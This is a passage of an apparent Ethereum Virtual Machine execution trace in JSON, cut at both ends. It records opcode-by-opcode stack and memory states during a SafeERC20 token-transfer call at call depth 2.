958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7555,"op":"POP","gas":31953,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x0","0x168","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7556,"op":"POP","gas":31951,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x0","0x168"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7557,"op":"POP","gas":31949,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7558,"op":"RETURNDATASIZE","gas":31947,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7559,"op":"DUP1","gas":31945,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7560,"op":"PUSH1","gas":31942,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7562,"op":"DUP2","gas":31939,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x20","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7563,"op":"EQ","gas":31936,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x20","0x20","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7564,"op":"PUSH2","gas":31933,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x20","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7567,"op":"JUMPI","gas":31930,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x20","0x20","0x0","0x1db1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7568,"op":"PUSH1","gas":31920,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7570,"op":"MLOAD","gas":31917,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x20","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7571,"op":"SWAP2","gas":31914,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x20","0x20","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7572,"op":"POP","gas":31911,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7573,"op":"PUSH1","gas":31909,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7575,"op":"NOT","gas":31906,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7576,"op":"PUSH1","gas":31903,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7578,"op":"RETURNDATASIZE","gas":31900,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa2